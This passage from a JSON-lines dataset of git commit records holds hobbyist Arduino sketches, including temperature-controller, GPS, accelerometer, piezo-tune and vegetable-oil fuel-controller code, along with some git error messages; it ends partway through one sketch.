numReadings) \n index = 0; *\/\n }\n \n \n \/\/clock update\n Time = millis() + TimeAdjust;\n Hours = (Time%86400000)\/3600000;\n Minutes = (Time%3600000)\/60000;\n Seconds = (Time%60000)\/1000;\n \n lcd.setCursor(19,3);\n lcd.printByte(0); \n \n \n \n if (menu == 0) HomeSetup();\n \n \/\/ tRIGGERS!!\n Triggers();\n \n \n \n \/\/Testing\n Serial.print(\"Time: \");\n \/\/Serial.print(Day,0);\n \/\/Serial.print(\" \");\n \n \/\/if(Mode == 0) lcd.print(growthPresetB[preset]);\n if (Hours < 10) Serial.print(\"0\");\n Serial.print(Hours);\n Serial.print(\":\");\n if (Minutes < 10) Serial.print(\"0\"); \n Serial.print(Minutes);\n Serial.print(\":\");\n if (Seconds < 10) Serial.print(\"0\"); \n Serial.print(Seconds);\n \n Serial.print(\" SvT:\");\n Serial.print(SvT,1);\n Serial.print(\" PvT:\");\n Serial.print(PvT,1);\n Serial.print(\" PID:\");\n Serial.print(Output); \/\/ effectively, seconds per hour (or interval) the fridge will try to be 'on'\n Serial.print(\" coolON:\");\n Serial.print(coolON);\n Serial.print(\" PIDh:\");\n Serial.print(Outputh);\n Serial.print(\" heatON:\");\n Serial.print(heatON);\n \n Serial.print(\" cStart:\");\n Serial.print(coolWindowStartTime\/1000); \n Serial.print(\" cSize:\");\n Serial.print(coolWindowSize\/1000); \n Serial.print(\" cOff:\");\n Serial.print(coolOffElapsed\/1000);\n Serial.print(\" hStart:\");\n Serial.print(heatWindowStartTime\/1000); \n Serial.print(\" hSize:\");\n Serial.println(heatWindowSize\/1000); \n\n\n \n }\n}\n\n\nfloat getTemp1(){\n if ( OneWire::crc8( addr1, 7) != addr1[7]) {\n Serial.println(\"CRC is not valid!\");\n return -1000;\n }\n \n ds.reset();\n ds.select(addr1);\n ds.write(0x44,1); \/\/ start conversion, with parasite power on at the end\n \n byte present = ds.reset();\n ds.select(addr1); \n ds.write(0xBE); \/\/ Read Scratchpad\n \n for (int i = 0; i < 9; i++) { \/\/ we need 9 bytes\n data1[i] = ds.read();\n }\n \n MSB = data1[1];\n LSB = data1[0];\n tempRead = ((MSB << 8) | LSB); \/\/using two's compliment\n TemperatureSum = tempRead \/ 16;\n return TemperatureSum;\n \n}\n\nfloat getTemp2(){\n if ( OneWire::crc8( addr2, 7) != addr2[7]) {\n Serial.println(\"CRC not valid!\");\n return -1000;\n }\n \n ds.reset();\n ds.select(addr2);\n ds.write(0x44,1); \/\/ start conversion, with parasite power on at the end\n \n byte present = ds.reset();\n ds.select(addr2); \n ds.write(0xBE); \/\/ Read Scratchpad\n \n for (int i = 0; i < 9; i++) { \/\/ we need 9 bytes\n data2[i] = ds.read();\n }\n \n MSB = data2[1];\n LSB = data2[0];\n tempRead = ((MSB << 8) | LSB); \/\/using two's compliment\n TemperatureSum = tempRead \/ 16;\n return TemperatureSum;\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sensorcheck.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"802f7c00c960f08ffe01a40f721e74ce0c528198","subject":"Create RX Test.ino","message":"Create RX Test.ino","repos":"swolfe0105\/LazIRTag","old_file":"UART\/RX Test.ino","new_file":"UART\/RX Test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'UART\/RX' did not match any file(s) known to git\nerror: pathspec 'Test.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"6f763d75f525811c3dd74813bc6f0f4c87a41b38","subject":"changed the potentiometer to match its top cover","message":"changed the potentiometer to match its top cover\n\nchanged it from 1023 -> 0 to 0 -> 1023.\n","repos":"MakerWear\/MakerWear,MakerWear\/MakerWear,MakerWear\/MakerWear","old_file":"Modifier Modules\/Potentiometer\/PotentiometerATtiny\/PotentiometerATtiny.ino","new_file":"Modifier Modules\/Potentiometer\/PotentiometerATtiny\/PotentiometerATtiny.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Modifier' did not match any file(s) known to git\nerror: pathspec 'Modules\/Potentiometer\/PotentiometerATtiny\/PotentiometerATtiny.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5da3776db3aabdfa6a88247e99633040ac111fee","subject":"Add Arduino example that receives ESP predictions over serial.","message":"Add Arduino example that receives ESP predictions over serial.\n\nFixes #192.\n","repos":"damellis\/ESP,damellis\/ESP","old_file":"Arduino\/ADXL335_LEDs\/ADXL335_LEDs.ino","new_file":"Arduino\/ADXL335_LEDs\/ADXL335_LEDs.ino","new_contents":"\/\/ Arduino example that streams accelerometer data from an ADXL335\n\/\/ (or other three-axis analog accelerometer) to the ESP system and\n\/\/ lights different LEDs depending on the predictions made by the\n\/\/ ESP system. Use with the user_accelerometer_gestures.cpp ESP example.\n\n\/\/ the accelerometer pins\nint zpin = A3;\nint ypin = A4;\nint xpin = A5;\n\n\/\/ the LED pins\nint redpin = 9;\nint greenpin = 10;\nint bluepin = 11;\n\n\/\/ These are only used if you're plugging the ADXL335 (on the\n\/\/ Adafruit breakout board) directly into the analog input pins\n\/\/ of your Arduino. See comment below.\nint vinpin = A0;\nint voutpin = A1;\nint gndpin = A2;\n\nvoid setup() {\n Serial.begin(115200);\n\n \/\/ Lower the serial timeout (from its default value of 1000 ms)\n \/\/ so that the call to Serial.parseInt() below doesn't pause for\n \/\/ too long and disrupt the sending of accelerometer data.\n Serial.setTimeout(2);\n\n \/\/ Uncomment the following lines if you're using an ADXL335 on an\n \/\/ Adafruit breakout board (https:\/\/www.adafruit.com\/products\/163)\n \/\/ and want to plug it directly into (and power it from) the analog\n \/\/ input pins of your Arduino board.\n\/\/ pinMode(vinpin, OUTPUT); digitalWrite(vinpin, HIGH);\n\/\/ pinMode(gndpin, OUTPUT); digitalWrite(gndpin, LOW);\n\/\/ pinMode(voutpin, INPUT);\n \n pinMode(xpin, INPUT);\n pinMode(ypin, INPUT);\n pinMode(zpin, INPUT);\n}\n\nvoid loop() {\n Serial.print(analogRead(xpin)); Serial.print(\"\\t\");\n Serial.print(analogRead(ypin)); Serial.print(\"\\t\");\n Serial.print(analogRead(zpin)); Serial.println();\n delay(10);\n\n \/\/ Check for a valid prediction.\n int val = Serial.parseInt();\n if (val != 0) {\n \/\/ Turn off all the LEDs.\n analogWrite(redpin, 0);\n analogWrite(greenpin, 0);\n analogWrite(bluepin, 0);\n\n \/\/ Turn on the LED corresponding to the prediction.\n if (val == 1) analogWrite(redpin, 255);\n if (val == 2) analogWrite(greenpin, 255);\n if (val == 3) analogWrite(bluepin, 255);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/ADXL335_LEDs\/ADXL335_LEDs.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"abba29f0fce7142eb4542fcac950e68082f7009f","subject":"Added an example that plays a tune.","message":"Added an example that plays a tune.\n","repos":"merose\/VMSRobot3,merose\/VMSRobot3","old_file":"examples\/PlayTune\/PlayTune.ino","new_file":"examples\/PlayTune\/PlayTune.ino","new_contents":"\/\/ PlayTune - An example of playing a tune on a piezo buzzer.\n\/\/\n\/\/ An example for the VMS Robotics elective.\n\n\/\/ Pitch frequencies (in octave 4), taken from:\n\/\/ https:\/\/en.wikipedia.org\/wiki\/Scientific_pitch_notation\nconst float PITCH_C = 261.63;\nconst float PITCH_C_SHARP = 277.18;\nconst float PITCH_D_FLAT = PITCH_C_SHARP;\nconst float PITCH_D = 293.66;\nconst float PITCH_D_SHARP = 311.13;\nconst float PITCH_E_FLAT = PITCH_D_SHARP;\nconst float PITCH_E = 329.63;\nconst float PITCH_F = 349.23;\nconst float PITCH_F_SHARP = 369.99;\nconst float PITCH_G_FLAT = PITCH_F_SHARP;\nconst float PITCH_G = 392.0;\nconst float PITCH_G_SHARP = 415.30;\nconst float PITCH_A_FLAT = PITCH_G_SHARP;\nconst float PITCH_A = 440.0;\nconst float PITCH_A_SHARP = 466.16;\nconst float PITCH_B_FLAT = PITCH_A_SHARP;\nconst float PITCH_B = 493.88;\n\n\/\/ Style of note. Affects the separation between the current note\n\/\/ and the next.\nenum NoteStyle {\n NORMAL, SLURRED, STACCATO\n};\n\n\/\/ Implements a data structure to hold a single note, which has a\n\/\/ frequency, duration, and style.\nclass Note {\npublic:\n Note(float pitch, int octave, float duration, NoteStyle style=NORMAL);\n int getFrequency() const;\n void getDuration(float tempo,\n\t\t unsigned long &duration,\n\t\t unsigned long &separation) const;\n \nprivate:\n int frequency;\n float duration;\n NoteStyle style;\n};\n\n\/\/ The standard note durations, as fractions of a whole note.\nconst float WHOLE = 1.0;\nconst float HALF = 1.0 \/ 2.0;\nconst float QUARTER = 1.0 \/ 4.0;\nconst float EIGHTH = 1.0 \/ 8.0;\nconst float SIXTEENTH = 1.0 \/ 16.0;\nconst float THIRTY_SECOND = 1.0 \/ 32.0;\n\n\/\/ The tune to play.\nconst Note NOTES[] = {\n Note(PITCH_E, 5, QUARTER),\n Note(PITCH_E, 5, QUARTER),\n Note(PITCH_F, 5, QUARTER),\n Note(PITCH_G, 5, QUARTER),\n Note(PITCH_G, 5, QUARTER),\n Note(PITCH_F, 5, QUARTER),\n Note(PITCH_E, 5, QUARTER),\n Note(PITCH_D, 5, QUARTER),\n Note(PITCH_C, 5, QUARTER),\n Note(PITCH_C, 5, QUARTER),\n Note(PITCH_D, 5, QUARTER),\n Note(PITCH_E, 5, QUARTER),\n Note(PITCH_E, 5, QUARTER + EIGHTH),\n Note(PITCH_D, 5, EIGHTH),\n Note(PITCH_D, 5, HALF),\n};\nconst int NOTE_COUNT = sizeof(NOTES) \/ sizeof(NOTES[0]);\n\n\/\/ The temp, in beats per minute, where a single beat is a quarter note.\nconst float TEMPO = 120.0;\n\n\/\/ Sets up the serial port and plays the tune.\nvoid setup() {\n Serial.begin(115200);\n \n for (int i=0; i < NOTE_COUNT; ++i) {\n unsigned long duration, separation;\n NOTES[i].getDuration(TEMPO, duration, separation);\n\n Serial.print(\"duration=\");\n Serial.print(duration);\n Serial.print(\" separation=\");\n Serial.print(separation);\n Serial.print(\" frequency=\");\n Serial.print(NOTES[i].getFrequency());\n Serial.println();\n \n tone(8, NOTES[i].getFrequency());\n delay(duration);\n\n noTone(8);\n delay(separation);\n }\n}\n\n\/\/ Does nothing - all work is done in setup().\nvoid loop() {\n\n}\n\n\/\/ Creates a note with a given pitch and octave, duration, and style.\n\/\/ Converts the pitch, within the 4th octave, to the actual frequency\n\/\/ for the specified octave.\nNote::Note(float pitch, int octave, float duration, NoteStyle style) {\n this->frequency = pitch;\n this->duration = duration;\n this->style = style;\n\n if (octave < 4) {\n while (octave < 4) {\n frequency \/= 2.0;\n ++octave;\n }\n } else if (octave > 4) {\n while (octave > 4) {\n frequency *= 2.0;\n --octave;\n }\n }\n}\n\n\/\/ Gets the note frequency.\nint Note::getFrequency() const {\n return round(frequency);\n}\n\n\/\/ Gets the note duration and separation. The play duration and separation\n\/\/ duration sum to the total note duration.\nvoid Note::getDuration(float tempo,\n\t\t unsigned long ¬eDuration,\n\t\t unsigned long ¬eSeparation) const {\n \/\/ Duration of a whole note, in milliseconds (4 quarter notes).\n float wholeNoteDuration = 60.0 * 1000.0 \/ tempo * 4.0;\n unsigned long fullDuration = round(wholeNoteDuration * duration);\n\n switch (style) {\n case NORMAL:\n \/\/ Default to 1\/50 of a second = 20ms.\n noteSeparation = 20;\n break;\n\n case SLURRED:\n noteSeparation = 0;\n break;\n\n case STACCATO:\n noteSeparation = fullDuration \/ 2;\n break;\n }\n \n noteDuration = fullDuration - noteSeparation;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/PlayTune\/PlayTune.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d5554c5c1711490b1c97d6e7761a9e706b06027c","subject":"Create AdafruitsGPSModuleCode.ino","message":"Create AdafruitsGPSModuleCode.ino","repos":"gskielian\/High-Altitude-Weather-Balloon,gskielian\/High-Altitude-Weather-Balloon","old_file":"PythonHAB\/AdafruitsGPSModuleCode.ino","new_file":"PythonHAB\/AdafruitsGPSModuleCode.ino","new_contents":"\/\/ Test code for Adafruit GPS modules using MTK3329\/MTK3339 driver\n\/\/\n\/\/ This code shows how to listen to the GPS module in an interrupt\n\/\/ which allows the program to have more 'freedom' - just parse\n\/\/ when a new NMEA sentence is available! Then access data when\n\/\/ desired.\n\/\/\n\/\/ Tested and works great with the Adafruit Ultimate GPS module\n\/\/ using MTK33x9 chipset\n\/\/ ------> http:\/\/www.adafruit.com\/products\/746\n\/\/ Pick one up today at the Adafruit electronics shop \n\/\/ and help support open source hardware & software! -ada\n\n#include <Adafruit_GPS.h>\n#include <SoftwareSerial.h>\n\nint signal = 0;\n\n\/\/ If you're using a GPS module:\n\/\/ Connect the GPS Power pin to 5V\n\/\/ Connect the GPS Ground pin to ground\n\/\/ If using software serial (sketch example default):\n\/\/ Connect the GPS TX (transmit) pin to Digital 3\n\/\/ Connect the GPS RX (receive) pin to Digital 2\n\/\/ If using hardware serial (e.g. Arduino Mega):\n\/\/ Connect the GPS TX (transmit) pin to Arduino RX1, RX2 or RX3\n\/\/ Connect the GPS RX (receive) pin to matching TX1, TX2 or TX3\n\n\/\/ If you're using the Adafruit GPS shield, change \n\/\/ SoftwareSerial mySerial(3, 2); -> SoftwareSerial mySerial(8, 7);\n\/\/ and make sure the switch is set to SoftSerial\n\n\/\/ If using software serial, keep these lines enabled\n\/\/ (you can change the pin numbers to match your wiring):\nSoftwareSerial mySerial(3, 2);\n\nAdafruit_GPS GPS(&mySerial);\n\/\/ If using hardware serial (e.g. Arduino Mega), comment\n\/\/ out the above six lines and enable this line instead:\n\/\/Adafruit_GPS GPS(&Serial1);\n\n\n\/\/ Set GPSECHO to 'false' to turn off echoing the GPS data to the Serial console\n\/\/ Set to 'true' if you want to debug and listen to the raw GPS sentences. \n#define GPSECHO true\n\n\/\/ this keeps track of whether we're using the interrupt\n\/\/ off by default!\nboolean usingInterrupt = false;\nvoid useInterrupt(boolean); \/\/ Func prototype keeps Arduino 0023 happy\n\nvoid setup() \n{\n \n \/\/ connect at 115200 so we can read the GPS fast enough and echo without dropping chars\n \/\/ also spit it out\n Serial.begin(115200);\n Serial.println(\"Adafruit GPS library basic test!\");\n\n \/\/ 9600 NMEA is the default baud rate for Adafruit MTK GPS's- some use 4800\n GPS.begin(9600);\n \n \/\/ uncomment this line to turn on RMC (recommended minimum) and GGA (fix data) including altitude\n GPS.sendCommand(PMTK_SET_NMEA_OUTPUT_RMCGGA);\n \/\/ uncomment this line to turn on only the \"minimum recommended\" data\n \/\/GPS.sendCommand(PMTK_SET_NMEA_OUTPUT_RMCONLY);\n \/\/ For parsing data, we don't suggest using anything but either RMC only or RMC+GGA since\n \/\/ the parser doesn't care about other sentences at this time\n \n \/\/ Set the update rate\n GPS.sendCommand(PMTK_SET_NMEA_UPDATE_1HZ); \/\/ 1 Hz update rate\n \/\/ For the parsing code to work nicely and have time to sort thru the data, and\n \/\/ print it out we don't suggest using anything higher than 1 Hz\n\n \/\/ Request updates on antenna status, comment out to keep quiet\n GPS.sendCommand(PGCMD_ANTENNA);\n\n \/\/ the nice thing about this code is you can have a timer0 interrupt go off\n \/\/ every 1 millisecond, and read data from the GPS for you. that makes the\n \/\/ loop code a heck of a lot easier!\n useInterrupt(true);\n\n delay(1000);\n \/\/ Ask for firmware version\n mySerial.println(PMTK_Q_RELEASE);\n}\n\n\n\/\/ Interrupt is called once a millisecond, looks for any new GPS data, and stores it\nSIGNAL(TIMER0_COMPA_vect) {\n char c = GPS.read();\n \/\/ if you want to debug, this is a good time to do it!\n#ifdef UDR0\n if (GPSECHO)\n if (c) UDR0 = c; \n \/\/ writing direct to UDR0 is much much faster than Serial.print \n \/\/ but only one character can be written at a time. \n#endif\n}\n\nvoid useInterrupt(boolean v) {\n if (v) {\n \/\/ Timer0 is already used for millis() - we'll just interrupt somewhere\n \/\/ in the middle and call the \"Compare A\" function above\n OCR0A = 0xAF;\n TIMSK0 |= _BV(OCIE0A);\n usingInterrupt = true;\n } else {\n \/\/ do not call the interrupt function COMPA anymore\n TIMSK0 &= ~_BV(OCIE0A);\n usingInterrupt = false;\n }\n}\n\nuint32_t timer = millis();\nvoid loop() \/\/ run over and over again\n{\n \/\/ in case you are not using the interrupt above, you'll\n \/\/ need to 'hand query' the GPS, not suggested :(\n if (! usingInterrupt) {\n \/\/ read data from the GPS in the 'main loop'\n char c = GPS.read();\n \/\/ if you want to debug, this is a good time to do it!\n if (GPSECHO)\n if (c) Serial.print(c);\n }\n \n \/\/ if a sentence is received, we can check the checksum, parse it...\n if (GPS.newNMEAreceived()) {\n \/\/ a tricky thing here is if we print the NMEA sentence, or data\n \/\/ we end up not listening and catching other sentences! \n \/\/ so be very wary if using OUTPUT_ALLDATA and trytng to print out data\n \/\/Serial.println(GPS.lastNMEA()); \/\/ this also sets the newNMEAreceived() flag to false\n \n if (!GPS.parse(GPS.lastNMEA())) \/\/ this also sets the newNMEAreceived() flag to false\n return; \/\/ we can fail to parse a sentence in which case we should just wait for another\n }\n\n \/\/ if millis() or timer wraps around, we'll just reset it\n if (timer > millis()) timer = millis();\n\n \/\/ approximately every 2 seconds or so, print out the current stats\n \/* \n signal = Serial.parseInt();\n signal = 1;\n if (signal==1 && millis() - timer > 2000) { \n \/\/if (millis() - timer > 2000) { \n \n timer = millis(); \/\/ reset the timer\n \n Serial.print(\"\\nTime: \");\n Serial.print(GPS.hour, DEC); Serial.print(':');\n Serial.print(GPS.minute, DEC); Serial.print(':');\n Serial.print(GPS.seconds, DEC); Serial.print('.');\n Serial.println(GPS.milliseconds);\n Serial.print(\"Date: \");\n Serial.print(GPS.day, DEC); Serial.print('\/');\n Serial.print(GPS.month, DEC); Serial.print(\"\/20\");\n Serial.println(GPS.year, DEC);\n Serial.print(\"Fix: \"); Serial.print((int)GPS.fix);\n Serial.print(\" quality: \"); Serial.println((int)GPS.fixquality); \n if (GPS.fix) {\n Serial.print(\"Location: \");\n Serial.print(GPS.latitude, 4); Serial.print(GPS.lat);\n Serial.print(\", \"); \n Serial.print(GPS.longitude, 4); Serial.println(GPS.lon);\n \n Serial.print(\"Speed (knots): \"); Serial.println(GPS.speed);\n Serial.print(\"Angle: \"); Serial.println(GPS.angle);\n Serial.print(\"Altitude: \"); Serial.println(GPS.altitude);\n Serial.print(\"Satellites: \"); Serial.println((int)GPS.satellites);\n }\n }*\/\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'PythonHAB\/AdafruitsGPSModuleCode.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c91e7f2c079475393c192fea57dc08e0b18a74c3","subject":"Blink array and sensor input working","message":"Blink array and sensor input working\n","repos":"onordbo\/mood-cloud,onordbo\/mood-cloud,onordbo\/mood-cloud","old_file":"New World Order\/_ard\/Thunderstorm.ino","new_file":"New World Order\/_ard\/Thunderstorm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/onordbo\/mood-cloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"220f2e423c21e647bf224bb34afdb814eefb466e","subject":"stuff","message":"stuff\n","repos":"markwatneyy\/ttt_arduino","old_file":"ttt_arduino.ino","new_file":"ttt_arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/markwatneyy\/ttt_arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5c9bc72f09348a8c70070e640d6d12dc4a63e84d","subject":"added arduino firmware","message":"added arduino firmware\n","repos":"tomrickard\/node-temp-sensor-relay,tomrickard\/node-temp-sensor-relay","old_file":"temp-sensor-firmware\/temp-sensor-firmware.ino","new_file":"temp-sensor-firmware\/temp-sensor-firmware.ino","new_contents":"#include <OneWire.h>\n#include <DallasTemperature.h>\n\n\/\/ Data wire is plugged into port 2 on the Arduino\n#define ONE_WIRE_BUS 2\n\n\/\/ Setup a oneWire instance to communicate with any OneWire devices (not just Maxim\/Dallas temperature ICs)\nOneWire oneWire(ONE_WIRE_BUS);\n\n\/\/ Pass our oneWire reference to Dallas Temperature. \nDallasTemperature sensors(&oneWire);\n\nString inputString = \"\"; \/\/ a string to hold incoming data\nboolean stringComplete = false; \/\/ whether the string is complete\n\nvoid setup() {\n \/\/ initialize serial:\n Serial.begin(9600);\n \/\/ reserve 200 bytes for the inputString:\n inputString.reserve(200);\n \n \/\/ Start up the temp sensor library\n sensors.begin();\n}\n\nvoid loop() {\n \/\/ print the string when a newline arrives:\n if (stringComplete) {\n if(inputString == \"temp\\n\") {\n \/\/ Get temperature\n sensors.requestTemperatures();\n Serial.println(sensors.getTempCByIndex(0));\n }\n inputString = \"\";\n stringComplete = false;\n }\n\/\/ Serial.println(inputString);\n\/\/ delay(1000);\n}\n\n\/*\n SerialEvent occurs whenever a new data comes in the\n hardware serial RX. This routine is run between each\n time loop() runs, so using delay inside loop can delay\n response. Multiple bytes of data may be available.\n *\/\nvoid serialEvent() {\n while (Serial.available()) {\n \/\/ get the new byte:\n char inChar = (char)Serial.read();\n \/\/ add it to the inputString:\n inputString += inChar;\n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n') {\n stringComplete = true;\n }\n }\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'temp-sensor-firmware\/temp-sensor-firmware.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d21d6ebd0f49eaed4239371a50b5303a843261e0","subject":"Initial Upload of OilBurner Code","message":"Initial Upload of OilBurner Code\n\nOilBurner Version 0.6.3 uploaded. Previous versions of code not documented on Github\n","repos":"mjs2011\/Oil-Burner,mjs2011\/Oil-Burner","old_file":"WVO_Controller_0.6.3.ino","new_file":"WVO_Controller_0.6.3.ino","new_contents":"\/*\n\tWVO Controller\n\n\tThis is the code for the WVO Controller development for my pickup. It is intended\n\tto handle the switching of fuel control valves and display important information on\n\tthe touch screen display.\n\n\tThe Code is written for use with an Arduino Mega, and may potentially be rewritten for\n\tan arduino micro.\n\n\tA Seeedstudio 2.8\" TFT Touch Shield is used. A touch screen breakout may be used in the future.\n\n\tThe circuit:\n\t*INPUTS:\n\t\tA10 - Photodiode for Auto Backlight Adjustment\n\t\tA11 - WVO Filter Head TEMP\n A14 - Fuel Pressure Sender\n A15 - Fuel Level Sender\n \n\t\tFuture Implementations:\n\t\t\tAnalog - Engine Coolant Temperature\n\n\n\t*OUTPUTS:\n\t\t22 - Piezo Buzzer Pin\n\t\t24 - Return Valve MOSFET Gate\n\t\t26 - Supply Valve\/Fuel Pump MOSFET Gate\n\n\tTouchscreen Features:\n\t\tgrid coordinates start: (0, 0) end: (239, 319)\n\n\n\tCode in Work\n By Max Sauer\n------------------------------------------------------------------------------------------------------------------------------------------------------------------\n\nChangelog:\n 0.1.0 - 2\/1\/2015 - Initial Prototype with TFT\n 0.2.0 - 2\/24\/2015 - Features added: Buzzer, Temp Sensor, Mosfets for Switching Valves\n 0.3.0 - 3\/15\/2015 - Temperature Set Point and Brightness Menu Options Added, creating Settings Window to Hold all settings options\n 0.4.0 - 4\/20\/2015 - EGT Gage Added\n 0.5.0 - unknown - Eeprom function added to save settings\n 0.5.1 - 8\/25\/2015 - Fixed Bug allowing access to the EGT screen while the controller was in Purge Mode. \n 0.5.2 - 8\/26\/2015 - Brightness Scaling Equation Improved. Brightness button now has a smoother transition from dim to bright. \n 0.6.0 - 5\/17\/2016 - Auto Brightness Equation Added. Photodiode added to hardware to sense Ambient light for Auto Brightness Equation. Changed Lettering to White. \n 0.6.1 - 6\/3\/2016 - Added Fuel Gage functionality.\n 0.6.2 - 8\/1\/2016 - Bug Fixes which causes fuel gage lines not to display when reloading homescreen\n - Added a Cancel Button to the Purging Page, which allows the purge sequence to be cancelled in the event of an accidental Purge\n 0.6.3 - 8\/21\/2017 - Added Fuel Pressure to display. This utilizes a 3 wire fuel pressure sender. More info at https:\/\/www.amazon.com\/gp\/product\/B00RCPDE40\/ref=oh_aui_search_detailpage?ie=UTF8&psc=1\n - fixed bug causing cancel button not to revert back to oil\n - added alarm for fuel pressure when on oil if pressure falls below 6 psi, also added color to fuel pressure indicator on screen \n*\/\n\n#include <stdint.h>\n#include <SeeedTouchScreen.h>\n#include <TFTv2.h>\n#include <SPI.h>\n#include <Adafruit_MAX31855.h>\n#include <EEPROM.h>\n\n#define DO 28\n#define CS 30\n#define CLK 32\nAdafruit_MAX31855 thermocouple(CLK, CS, DO);\n\nconst int numReadings = 10.00;\t\t\t\t\/\/ number of readings to be taken for temperature average\nint readings[numReadings]; \t\t\t\t\/\/ the readings from the analog input\nint index = 0; \t\t\t\t\/\/ the index of the current reading\nint total = 0; \t\t\t\t\/\/ the running total\nint average = 0; \t\t\t\t\/\/ the average of temperature readings\nint oldaverage = 0; \t\t\t\t\/\/ the old average to overwrite on the scree\nint temperaturePin = A11;\t\t\t \/\/ temperature input pin to read temperature of oil temperature\nint temp = 0;\nint EGT = 0;\nint oldEGT = 0;\n\ndouble gageMin = 50.00;\ndouble gageMax = 950.00;\ndouble theta;\ndouble oldTheta;\n\nboolean circle = 0;\n\nconst int buzzerPin = 22;\nconst int returnValve = 24; \t\t\t\/\/ red LED\nconst int supplyValve = 26; \t\t\t\t\/\/ green LED, will also power bypass valve and Fuel pump Relay\nint page = 0; \t\t\t\t\/\/ the page to prevent button pushes from working on pages where the button doesnt exist\n\/\/ homescreen = 0, settings = 2, purgeSetTime = 3, tempSet = 4\nint number = 0;\t\t\t\t\t\t\/\/ unknown variable.....\n\nint purgeTime;\t\t\t\t\t\/\/ purge time of the of valves in seconds. Set to 5 now for ease of troubleshooting.\n\/\/ minimum in purgeSetTime menu is 30. this value will be changed for final code.\nunsigned long Timer = 0;\t\t\t\t\/\/ unkown variable.....\nboolean autoState; \t\t\t\t\/\/ whether the controller is running in auto or manual mode. Auto = 1, manual = 0.\nboolean oilState = 0; \t\t\t\t\/\/ whether the controller is switched to oil or not. Oil = 1, diesel = 0.\nboolean tempState = 0; \t\t\t\t\/\/ whether the temp is above or below set temp. Above setTemp = 1, below setTemp = 0.\nboolean oldtempState = 0;\t\t\t\t\/\/ used to get into if statements only when tempState has just switched and oldTempState is different.\nboolean purgeState = 0;\t\t\t\t\t\/\/ whether or not purgeTimer is running. Purging = 1, not purging = 0.\nint setTemp; \t\t\t\t\/\/ Automatic oil switch and purge temperature threshold in degrees Farenheit\nlong previousMillis = 0;\t\t\t\t\/\/ time in millis when purge timer function begins\nunsigned long currentMillis = 0;\t\t\t\/\/ current time in millis compared to previousMillis to determine when purgeTime is met\nint countdown = 0;\t\t\t\t\t\/\/ purgeTime left in seconds, to be displayed during purge process\nint oldCountdown = 0;\t\t\t\t\t\/\/ old purgeTime value , compared to countdown to determine when to overwrite countdown value.\n\nint backlightPin = 7;\nfloat backlightValue;\nfloat dayLightVal;\nfloat backlightPercent = 100;\nfloat backlightPerc;\nint backlightVal = 255;\nint oldBacklightVal;\nint oldLightLevel;\nint lightLevel;\n\n\/\/const int returnCheckPin = 34; \/\/ analog pin to check state of return valve with the use of a reed switch to check for magnetic field\n\/\/const int bypassCheckPin = 36; \/\/ analog pin to check state of bypass valve with the use of a reed switch to check for magnetic field\n\/\/const int supplyCheckPin = 38; \/\/ analog pin to check state of supply valve with the use of a reed switch to check for magnetic field\n\nboolean returnState = 0;\nboolean oldReturnState = 0;\nboolean bypassState = 0;\nboolean oldBypassState = 0;\nboolean supplyState = 0;\nboolean oldSupplyState = 0;\n\nint autoStateAddress = 0;\nint purgeTimeAddress = 1;\nint tempSetPointAddress = 2;\nint brightnessAddress = 3;\n\nint fuelLevel; \/\/ value from 0 to 100 equating to the fuel level\nfloat fuelLevelVal; \/\/ analog value from 728 to 254, read from the fuel level voltage divider;\nint xLength; \/\/ length of bar in fuel level bar graph\nint oldxLength;\nint fuelLevelPin = A15; \/\/ pin that is reading the voltage of the voltage divider for the fuel sender\n\nint readingP[numReadings]; \/\/ the readings from the analog input\nint indexP = 0; \/\/ the index of the current reading\nint sumP = 0; \/\/ the running total\nint psi = 0;\nint pressure = 0; \/\/ current fuel pressure\nint oldpressure = 0; \/\/ old fuel pressure\nint pressurePin = A14; \/\/ analog pressure pin\ndouble pressureVoltage;\n\nTouchScreen ts = TouchScreen(XP, YP, XM, YM);\t \/\/ values for coordinate system inputs on touchscreen.\n\nvoid setup()\n{\n dayLightVal = analogRead(A10);\n \/\/Serial.println(dayLightVal);\n \/\/backlightPerc = (0.0000003*(dayLightVal*dayLightVal*dayLightVal))-(0.0006*(dayLightVal*dayLightVal))+(0.397*dayLightVal);\n \/\/Serial.println(backlightPerc);\n backlightValue = 0.2138*dayLightVal + 20.5;\n \/\/Serial.println(backlightValue);\n \/\/backlightValue = ((backlightPercent*backlightPercent*backlightPercent)\/3937) + 1.5;\n \/\/backlightValue = (127 * backlightPercent) \/ 50 + 1;\n analogWrite(backlightPin, backlightValue);\n \/\/Serial.println(backlightValue);\n\n Tft.TFTinit(); \/\/ init TFT library\n\n pinMode(24, OUTPUT);\t\t\t\t\t\/\/ needed to set digital pin to high at 5v for switching MOSFET\n pinMode(26, OUTPUT);\t\t\t\t\t\/\/ needed to set digital pin to high at 5v for switching MOSFET\n\n 